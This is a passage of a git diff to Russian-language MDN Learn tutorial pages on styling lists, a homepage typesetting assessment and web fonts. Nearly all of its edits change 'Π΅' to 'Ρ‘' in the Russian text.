-<p><strong>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅</strong>: Если ΠΏΡƒΠ½ΠΊΡ‚ΠΎΠ² Π² спискС Π² ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎΠΌ спискС большС, Ρ‡Π΅ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° <code>start</code>, счСт продолТится Π΄ΠΎ нуля ΠΈ Π΄Π°Π»Π΅Π΅ ΠΎΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ значСния.</p>
+<p><strong>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅</strong>: Если ΠΏΡƒΠ½ΠΊΡ‚ΠΎΠ² Π² спискС Π² ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎΠΌ спискС большС, Ρ‡Π΅ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° <code>start</code>, счёт продолТится Π΄ΠΎ нуля ΠΈ Π΄Π°Π»Π΅Π΅ ΠΎΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ значСния.</p>
</div>
<h3 id="value">value</h3>
@@ -365,7 +365,7 @@ window.addEventListener("load", drawOutput);
<h2 id="Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅_Ρ‚Π°ΠΊΠΆΠ΅">Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅</h2>
-<p><span class="tlid-translation translation" lang="ru"><span title="">Π‘Ρ‡Π΅Ρ‚Ρ‡ΠΈΠΊΠΈ CSS ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½Π½Ρ‹Π΅ инструмСнты для настройки счСта ΠΈ оформлСния списков, Π½ΠΎ ΠΎΠ½ΠΈ довольно слоТныС.</span></span> <span class="tlid-translation translation" lang="ru"><span title="">ΠœΡ‹ Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΡƒΠ΅ΠΌ ΠΈΠ·ΡƒΡ‡ΠΈΡ‚ΡŒ это, Ссли Π²Ρ‹ Π·Π°Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Ρ€Π°Π·ΠΌΡΡ‚ΡŒΡΡ. Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅</span></span>:</p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">Π‘Ρ‡Ρ‘Ρ‚Ρ‡ΠΈΠΊΠΈ CSS ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½Π½Ρ‹Π΅ инструмСнты для настройки счСта ΠΈ оформлСния списков, Π½ΠΎ ΠΎΠ½ΠΈ довольно слоТныС.</span></span> <span class="tlid-translation translation" lang="ru"><span title="">ΠœΡ‹ Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΡƒΠ΅ΠΌ ΠΈΠ·ΡƒΡ‡ΠΈΡ‚ΡŒ это, Ссли Π²Ρ‹ Π·Π°Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Ρ€Π°Π·ΠΌΡΡ‚ΡŒΡΡ. Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅</span></span>:</p>
<ul>
<li>{{cssxref("@counter-style")}}</li>
@@ -375,7 +375,7 @@ window.addEventListener("load", drawOutput);
<h2 id="Π—Π°ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅">Π—Π°ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅</h2>
-<p><span class="tlid-translation translation" lang="ru"><span title="">Π’ ΠΏΠ»Π°Π½Π΅ стилизации списки ΡΡ€Π°Π²Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π»Π΅Π³ΠΊΠΎ ΠΎΡΠ²ΠΎΠΈΡ‚ΡŒ, ΠΊΠ°ΠΊ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π²Ρ‹ освоитС нСсколько связанных Π±Π°Π·ΠΎΠ²Ρ‹Ρ… ΠΏΡ€ΠΈΠ½Ρ†ΠΈΠΏΠΎΠ² ΠΈ спСцифичныС свойства. Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Π΅ΠΌ ΠΊ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°ΠΌ стилизации ссылок.</span></span></p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">Π’ ΠΏΠ»Π°Π½Π΅ стилизации списки ΡΡ€Π°Π²Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π»Π΅Π³ΠΊΠΎ ΠΎΡΠ²ΠΎΠΈΡ‚ΡŒ, ΠΊΠ°ΠΊ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π²Ρ‹ освоитС нСсколько связанных Π±Π°Π·ΠΎΠ²Ρ‹Ρ… ΠΏΡ€ΠΈΠ½Ρ†ΠΈΠΏΠΎΠ² ΠΈ спСцифичныС свойства. Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Ρ‘ΠΌ ΠΊ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°ΠΌ стилизации ссылок.</span></span></p>
<p>{{PreviousMenuNext("Learn/CSS/Styling_text/Fundamentals", "Learn/CSS/Styling_text/Styling_links", "Learn/CSS/Styling_text")}}</p>
@@ -386,5 +386,5 @@ window.addEventListener("load", drawOutput);
<li><a href="/en-US/docs/Learn/CSS/Styling_text/Styling_lists">Бтилизация списков</a></li>
<li><a href="/en-US/docs/Learn/CSS/Styling_text/Styling_links">Бтилизация ссылок</a></li>
<li><a href="/en-US/docs/Learn/CSS/Styling_text/Web_fonts">Π’Π΅Π±-ΡˆΡ€ΠΈΡ„Ρ‚Ρ‹</a></li>
- <li><a href="/en-US/Learn/CSS/Styling_text/Typesetting_a_homepage">ВСрстка домашнСй страницы общСствСнной ΡˆΠΊΠΎΠ»Ρ‹</a></li>
+ <li><a href="/en-US/Learn/CSS/Styling_text/Typesetting_a_homepage">Вёрстка домашнСй страницы общСствСнной ΡˆΠΊΠΎΠ»Ρ‹</a></li>
</ul>
diff --git a/files/ru/learn/css/styling_text/typesetting_a_homepage/index.html b/files/ru/learn/css/styling_text/typesetting_a_homepage/index.html
index 470566580f..53db98ecdd 100644
--- a/files/ru/learn/css/styling_text/typesetting_a_homepage/index.html
+++ b/files/ru/learn/css/styling_text/typesetting_a_homepage/index.html
@@ -40,12 +40,12 @@ original_slug: Learn/CSS/Styling_text/Π—Π°Π΄Π°Π½ΠΈΠ΅:_Π‘Ρ‚ΠΈΠ»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½ΠΈ
<h2 id="ΠšΡ€Π°Ρ‚ΠΊΠΎΠ΅_описаниС_ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π°">ΠšΡ€Π°Ρ‚ΠΊΠΎΠ΅ описаниС ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π°</h2>
-<p>Π’Π°ΠΌ прСдоставлСн Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ "сырой" HTML для домашнСй страницы Π²ΠΎΠΎΠ±Ρ€Π°ΠΆΠ°Π΅ΠΌΠΎΠ³ΠΎ общСствСнного ΠΊΠΎΠ»Π»Π΅Π΄ΠΆΠ°, плюс Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ CSS ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ стилизуСт страницу Π² ΠΌΠ°ΠΊΠ΅Ρ‚ с трСмя ΠΊΠΎΠ»ΠΎΠ½ΠΊΠ°ΠΌΠΈ ΠΈ обСспСчиваСт Π΅Ρ‰Π΅ ΠΊΠ°ΠΊΠΈΠΌ-Ρ‚ΠΎ Π΄Ρ€ΡƒΠ³ΠΈΠΌ элСмСнтарным стилСм. Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΠΈΡΠ°Ρ‚ΡŒ ваш Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ CSS послС коммСнтария Π² Π½ΠΈΠ·Ρƒ CSS Ρ„Π°ΠΉΠ»Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ с Π»Π΅Π³ΠΊΠΎΡΡ‚ΡŒΡŽ Π·Π°ΠΌΠ΅Ρ‚ΠΈΡ‚Π΅ части ΠΏΡ€ΠΎΠ΄Π΅Π»Π°Π½Π½Ρ‹Π΅ Π²Π°ΠΌΠΈ. НС ΠΏΠ΅Ρ€Π΅ΠΆΠΈΠ²Π°ΠΉΡ‚Π΅ Ссли Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ сСлСкторы ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΡΡŽΡ‚ΡΡ; ΠΌΡ‹ отпустим вас с этим случаСм.</p>
+<p>Π’Π°ΠΌ прСдоставлСн Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ "сырой" HTML для домашнСй страницы Π²ΠΎΠΎΠ±Ρ€Π°ΠΆΠ°Π΅ΠΌΠΎΠ³ΠΎ общСствСнного ΠΊΠΎΠ»Π»Π΅Π΄ΠΆΠ°, плюс Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ CSS ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ стилизуСт страницу Π² ΠΌΠ°ΠΊΠ΅Ρ‚ с трСмя ΠΊΠΎΠ»ΠΎΠ½ΠΊΠ°ΠΌΠΈ ΠΈ обСспСчиваСт Π΅Ρ‰Ρ‘ ΠΊΠ°ΠΊΠΈΠΌ-Ρ‚ΠΎ Π΄Ρ€ΡƒΠ³ΠΈΠΌ элСмСнтарным стилСм. Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΠΈΡΠ°Ρ‚ΡŒ ваш Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ CSS послС коммСнтария Π² Π½ΠΈΠ·Ρƒ CSS Ρ„Π°ΠΉΠ»Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ с Π»Ρ‘Π³ΠΊΠΎΡΡ‚ΡŒΡŽ Π·Π°ΠΌΠ΅Ρ‚ΠΈΡ‚Π΅ части ΠΏΡ€ΠΎΠ΄Π΅Π»Π°Π½Π½Ρ‹Π΅ Π²Π°ΠΌΠΈ. НС ΠΏΠ΅Ρ€Π΅ΠΆΠΈΠ²Π°ΠΉΡ‚Π΅ Ссли Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ сСлСкторы ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΡΡŽΡ‚ΡΡ; ΠΌΡ‹ отпустим вас с этим случаСм.</p>
<p>Π¨Ρ€ΠΈΡ„Ρ‚Ρ‹:</p>
<ul>
- <li>Π’ΠΎ-ΠΏΠ΅Ρ€Π²Ρ‹Ρ…, Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚Π΅ ΠΏΠ°Ρ€ΠΎΡ‡ΠΊΡƒ бСсплатных для использования ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ². Π’Π°ΠΊ ΠΊΠ°ΠΊ это ΠΊΠΎΠ»Π»Π΅Π΄ΠΆ, ΡˆΡ€ΠΈΡ„Ρ‚Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ Π²Ρ‹Π±Ρ€Π°Π½Ρ‹ Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎΠ± ΠΎΠ½ΠΈ ΠΏΡ€ΠΈΠ΄Π°Π²Π°Π»ΠΈ достаточной ΡΠ΅Ρ€ΡŒΠ΅Π·Π½ΠΎΡΡ‚ΠΈ, Ρ„ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ ΠΈ чувства Π·Π°ΡΠ»ΡƒΠΆΠΈΠ²Π°ΡŽΡ‰Π΅Π³ΠΎ довСрия β€” ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ΄ΠΎΠΉΡ‚ΠΈ ΡˆΡ€ΠΈΡ„Ρ‚ с засСчками (serif) для всСго основного тСкста, Π² сочСтании с ΡˆΡ€ΠΈΡ„Ρ‚Π°ΠΌΠΈ sans-serif ΠΈΠ»ΠΈ serif для Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ².</li>
+ <li>Π’ΠΎ-ΠΏΠ΅Ρ€Π²Ρ‹Ρ…, Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚Π΅ ΠΏΠ°Ρ€ΠΎΡ‡ΠΊΡƒ бСсплатных для использования ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ². Π’Π°ΠΊ ΠΊΠ°ΠΊ это ΠΊΠΎΠ»Π»Π΅Π΄ΠΆ, ΡˆΡ€ΠΈΡ„Ρ‚Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ Π²Ρ‹Π±Ρ€Π°Π½Ρ‹ Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎΠ± ΠΎΠ½ΠΈ ΠΏΡ€ΠΈΠ΄Π°Π²Π°Π»ΠΈ достаточной ΡΠ΅Ρ€ΡŒΡ‘Π·Π½ΠΎΡΡ‚ΠΈ, Ρ„ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ ΠΈ чувства Π·Π°ΡΠ»ΡƒΠΆΠΈΠ²Π°ΡŽΡ‰Π΅Π³ΠΎ довСрия β€” ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ΄ΠΎΠΉΡ‚ΠΈ ΡˆΡ€ΠΈΡ„Ρ‚ с засСчками (serif) для всСго основного тСкста, Π² сочСтании с ΡˆΡ€ΠΈΡ„Ρ‚Π°ΠΌΠΈ sans-serif ΠΈΠ»ΠΈ serif для Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ².</li>
<li>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ подходящий сСрвис для Π³Π΅Π½Π΅Ρ€Π°Ρ†ΠΈΠΈ ΠΏΡƒΠ»Π΅Π½Π΅ΠΏΡ€ΠΎΠ±ΠΈΠ²Π°Π΅ΠΌΠΎΠ³ΠΎ <code>@font-face</code> ΠΊΠΎΠ΄Π° для этих Π΄Π²ΡƒΡ… ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ².</li>
<li>ΠŸΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚Π΅ ваш основной ΡˆΡ€ΠΈΡ„Ρ‚ для всСй страницы ΠΈ ΡˆΡ€ΠΈΡ„Ρ‚ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° для Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ².</li>
</ul>
@@ -66,9 +66,9 @@ original_slug: Learn/CSS/Styling_text/Π—Π°Π΄Π°Π½ΠΈΠ΅:_Π‘Ρ‚ΠΈΠ»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½ΠΈ
<ul>
<li>Π”Π°ΠΉΡ‚Π΅ состояниям link, visited, focus, ΠΈ hover ΠΊΠ°ΠΊΠΎΠΉ-Π½ΠΈΠ±ΡƒΠ΄ΡŒ Ρ†Π²Π΅Ρ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ сочСтаСтся с Ρ†Π²Π΅Ρ‚ΠΎΠΌ Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½Ρ‹Ρ… Π»ΠΈΠ½ΠΈΠΉ Π½Π° Π²Π΅Ρ€Ρ…Ρƒ ΠΈ Π² Π½ΠΈΠ·Ρƒ страницы.</li>
- <li>Π‘Π΄Π΅Π»Π°ΠΉΡ‚Π΅ Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ссылки Π±Ρ‹Π»ΠΈ ΠΏΠΎΠ΄Ρ‡Π΅Ρ€ΠΊΠ½ΡƒΡ‚Ρ‹ΠΌΠΈ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, Π½ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ΄Ρ‡Π΅Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠ΅ исчСзало, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Ρ„ΠΎΠΊΡƒΡΠΈΡ€ΡƒΠ΅Ρ‚Π΅ΡΡŒ ΠΈΠ»ΠΈ Π½Π°Π²ΠΎΠ΄ΠΈΡ‚Π΅ ΠΌΡ‹ΡˆΡŒ Π½Π° Π½ΠΈΡ….</li>
+ <li>Π‘Π΄Π΅Π»Π°ΠΉΡ‚Π΅ Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ссылки Π±Ρ‹Π»ΠΈ ΠΏΠΎΠ΄Ρ‡Ρ‘Ρ€ΠΊΠ½ΡƒΡ‚Ρ‹ΠΌΠΈ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, Π½ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ΄Ρ‡Ρ‘Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠ΅ исчСзало, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Ρ„ΠΎΠΊΡƒΡΠΈΡ€ΡƒΠ΅Ρ‚Π΅ΡΡŒ ΠΈΠ»ΠΈ Π½Π°Π²ΠΎΠ΄ΠΈΡ‚Π΅ ΠΌΡ‹ΡˆΡŒ Π½Π° Π½ΠΈΡ….</li>
<li>Π£Π΄Π°Π»ΠΈΡ‚Π΅ установлСнный ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΠΊΠΎΠ½Ρ‚ΡƒΡ€Π½Ρ‹ΠΉ фокус со Π’Π‘Π•Π₯ ссылок Π½Π° страницС.</li>
- <li>Π”Π°ΠΉΡ‚Π΅ ΡΠΎΡΡ‚ΠΎΡΠ½ΠΈΡŽ active Π·Π°ΠΌΠ΅Ρ‚Π½ΠΎ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠΌΡ‹ΠΉ ΡΡ‚ΠΈΠ»ΡŒ Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎΠ± ΠΎΠ½ красиво выдСлялся, Π½ΠΎ Ρ‡Ρ‚ΠΎΠ± ΠΎΠ½ всС Π΅Ρ‰Π΅ вписывался Π² ΠΎΠ±Ρ‰ΠΈΠΉ Π΄ΠΈΠ·Π°ΠΉΠ½ страницы.</li>
+ <li>Π”Π°ΠΉΡ‚Π΅ ΡΠΎΡΡ‚ΠΎΡΠ½ΠΈΡŽ active Π·Π°ΠΌΠ΅Ρ‚Π½ΠΎ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠΌΡ‹ΠΉ ΡΡ‚ΠΈΠ»ΡŒ Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎΠ± ΠΎΠ½ красиво выдСлялся, Π½ΠΎ Ρ‡Ρ‚ΠΎΠ± ΠΎΠ½ всС Π΅Ρ‰Ρ‘ вписывался Π² ΠΎΠ±Ρ‰ΠΈΠΉ Π΄ΠΈΠ·Π°ΠΉΠ½ страницы.</li>
<li>Π‘Π΄Π΅Π»Π°ΠΉΡ‚Π΅ Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎΠ± внСшниС ссылки ΠΈΠΌΠ΅Π»ΠΈ ΠΈΠΊΠΎΠ½ΠΊΡƒ внСшнСй ссылки, Π²ΡΡ‚Π°Π²Π»Π΅Π½Π½ΡƒΡŽ рядом с Π½ΠΈΠΌΠΈ.</li>
</ul>
@@ -106,7 +106,7 @@ original_slug: Learn/CSS/Styling_text/Π—Π°Π΄Π°Π½ΠΈΠ΅:_Π‘Ρ‚ΠΈΠ»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½ΠΈ
<li>РазмСститС свою Ρ€Π°Π±ΠΎΡ‚Ρƒ Π² ΠΎΠ½Π»Π°ΠΉΠ½ Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€Π΅ Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠ΄Π΅Π»ΠΈΡ‚ΡŒΡΡ Ρ€Π°Π±ΠΎΡ‚Π°ΠΌΠΈ Π² Ρ‚Π°ΠΊΠΎΠΌ ΠΊΠ°ΠΊ <a href="https://codepen.io/">CodePen</a>, <a href="https://jsfiddle.net/">jsFiddle</a>, ΠΈΠ»ΠΈ <a href="https://glitch.com/">Glitch</a>.</li>
<li>ΠΠ°ΠΏΠΈΡˆΠΈΡ‚Π΅ пост с ΠΏΡ€ΠΎΡΡŒΠ±ΠΎΠΉ ΠΎΡ†Π΅Π½ΠΊΠΈ ΠΈ/ΠΈΠ»ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ Π½Π° <a href="https://discourse.mozilla.org/c/mdn/learn">MDN Discourse forum Learning category</a>. Π’Π°Ρˆ пост Π΄ΠΎΠ»ΠΆΠ΅Π½ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ:
<ul>
- <li>ΠžΠΏΠΈΡΠ°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ Ρ‚Π°ΠΊΠΎΠΉ ΠΊΠ°ΠΊ "ВрСбуСтся ΠΎΡ†Π΅Π½ΠΊΠ° вСрстки домашнСй страницы общСствСнный ΡˆΠΊΠΎΠ»Ρ‹".</li>
+ <li>ΠžΠΏΠΈΡΠ°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ Ρ‚Π°ΠΊΠΎΠΉ ΠΊΠ°ΠΊ "ВрСбуСтся ΠΎΡ†Π΅Π½ΠΊΠ° вёрстки домашнСй страницы общСствСнный ΡˆΠΊΠΎΠ»Ρ‹".</li>
<li>Π”Π΅Ρ‚Π°Π»ΠΈ ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΡƒΠΆΠ΅ ΠΏΠΎΠΏΡ‹Ρ‚Π°Π»ΠΈΡΡŒ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΠΈ Ρ‡Ρ‚ΠΎ Π±Ρ‹ Π²Ρ‹ Ρ…ΠΎΡ‚Π΅Π»ΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΌΡ‹ сдСлали, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ссли Π²Ρ‹ застряли ΠΈ Π²Π°ΠΌ Π½ΡƒΠΆΠ½Π° ΠΏΠΎΠΌΠΎΡ‰ΡŒ, Π»ΠΈΠ±ΠΎ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΎΡ†Π΅Π½ΠΊΡƒ.</li>
<li>Бсылку Π½Π° ΠΎΠ½Π»Π°ΠΉΠ½ Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€Β (ΠΊΠ°ΠΊ упомянуто Π²Ρ‹ΡˆΠ΅ Π² ΠΏΡƒΠ½ΠΊΡ‚Π΅ 1) с ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠΌ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ нуТдаСтся Π² ΠΎΡ†Π΅Π½ΠΊΠ΅ ΠΈΠ»ΠΈ с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ Π½ΡƒΠΆΠ½Π° ΠΏΠΎΠΌΠΎΡ‰ΡŒ. Π­Ρ‚ΠΎ Ρ…ΠΎΡ€ΠΎΡˆΠ°Ρ ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠ° Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Π½ΠΈΠΊΠ½ΡƒΡ‚ΡŒ β€” ΠΎΡ‡Π΅Π½ΡŒ слоТно ΠΏΠΎΠΌΠΎΡ‡ΡŒ ΠΊΠΎΠΌΡƒ-Π»ΠΈΠ±ΠΎ с ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ½Ρ‹ΠΌ ΠΊΠΎΠ΄ΠΎΠΌ Ссли Π²Ρ‹ Π½Π΅ Π²ΠΈΠ΄ΠΈΡ‚Π΅ ΠΈΡ… ΠΊΠΎΠ΄.</li>
<li>Бсылку Π½Π° Π°ΠΊΡ‚ΡƒΠ°Π»ΡŒΠ½ΡƒΡŽ Π·Π°Π΄Π°Ρ‡Ρƒ ΠΈΠ»ΠΈ страницу ΠΎΡ†Π΅Π½ΠΊΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΌΡ‹ ΠΌΠΎΠ³Π»ΠΈ Π½Π°ΠΉΡ‚ΠΈ вопрос, ΠΏΠΎ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ Π²Π°ΠΌ Π½ΡƒΠΆΠ½Π° ΠΏΠΎΠΌΠΎΡ‰ΡŒ.</li>
diff --git a/files/ru/learn/css/styling_text/web_fonts/index.html b/files/ru/learn/css/styling_text/web_fonts/index.html
index 03318d45b6..f617762a19 100644
--- a/files/ru/learn/css/styling_text/web_fonts/index.html
+++ b/files/ru/learn/css/styling_text/web_fonts/index.html
@@ -27,17 +27,17 @@ original_slug: Learn/CSS/Styling_text/Π’Π΅Π±_ΡˆΡ€ΠΈΡ„Ρ‚Ρ‹
<h2 id="ΠšΡ€Π°Ρ‚ΠΊΠΎΠ΅_ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π΅Π½ΠΈΠ΅_сСмСйств_ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ²">ΠšΡ€Π°Ρ‚ΠΊΠΎΠ΅ ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π΅Π½ΠΈΠ΅ сСмСйств ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ²</h2>
-<p>Как ΠΌΡ‹ рассматривали Π² <a href="/en-US/docs/Learn/CSS/Styling_text/Fundamentals">Π€ΡƒΠ½Π΄Π°ΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½ΠΎΠΉ стилизации тСкста ΠΈ ΡˆΡ€ΠΈΡ„Ρ‚Π°</a>, ΡˆΡ€ΠΈΡ„Ρ‚Ρ‹ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½Π½Ρ‹Π΅ ΠΊ Π²Π°ΡˆΠ΅ΠΌΡƒ HTML ΠΌΠΎΠ³ΡƒΡ‚ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΡΡ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ свойства {{cssxref("font-family")}}. Оно ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ ΠΎΠ΄Π½ΠΎ ΠΈ Π±ΠΎΠ»Π΅Π΅ ΠΈΠΌΠ΅Π½ сСмСйств ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ² ΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ слСдуСт ΠΏΠΎ списку ΠΏΠΎΠΊΠ° Π½Π΅ Π½Π°ΠΉΠ΄Π΅Ρ‚ Ρ‚ΠΎΡ‚ ΡˆΡ€ΠΈΡ„Ρ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ являСтся доступным Π² систСмС, ΠΏΠΎΠ΄ ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ΠΌ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΎΠ½ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚:</p>
